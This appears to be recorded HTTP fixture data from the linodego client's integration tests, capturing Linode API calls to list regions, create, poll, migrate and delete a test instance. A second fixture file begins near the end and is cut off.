"status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:13:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-8n8rrk073k9p","root_pass":"r:Z)7$n32\\Xb3*5Li,0rnCwERo7`EX2g816I6Cd:JTi\u0026m9]6LF-\u00262@=(jk=Rq1Ca","image":"linode/debian9","firewall_id":1063484,"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 65830381, "label": "go-test-ins-8n8rrk073k9p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.56.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "35734f32db41f19a6d47e7e71e309e7a374145db", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:13:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381 method: GET response: body: '{"id": 65830381, "label": "go-test-ins-8n8rrk073k9p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.56.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "35734f32db41f19a6d47e7e71e309e7a374145db", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:13:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381 method: GET response: body: '{"id": 65830381, "label": "go-test-ins-8n8rrk073k9p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.56.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "35734f32db41f19a6d47e7e71e309e7a374145db", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:14:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381 method: GET response: body: '{"id": 65830381, "label": "go-test-ins-8n8rrk073k9p", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.56.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "35734f32db41f19a6d47e7e71e309e7a374145db", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:14:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381 method: GET response: body: '{"id": 65830381, "label": "go-test-ins-8n8rrk073k9p", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.56.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "35734f32db41f19a6d47e7e71e309e7a374145db", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:14:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"cold","region":"us-west","upgrade":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381/migrate method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:14:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/65830381 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 23 Oct 2024 20:14:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_MigrateToPG.yaml000066400000000000000000001471541474652371000322720ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", 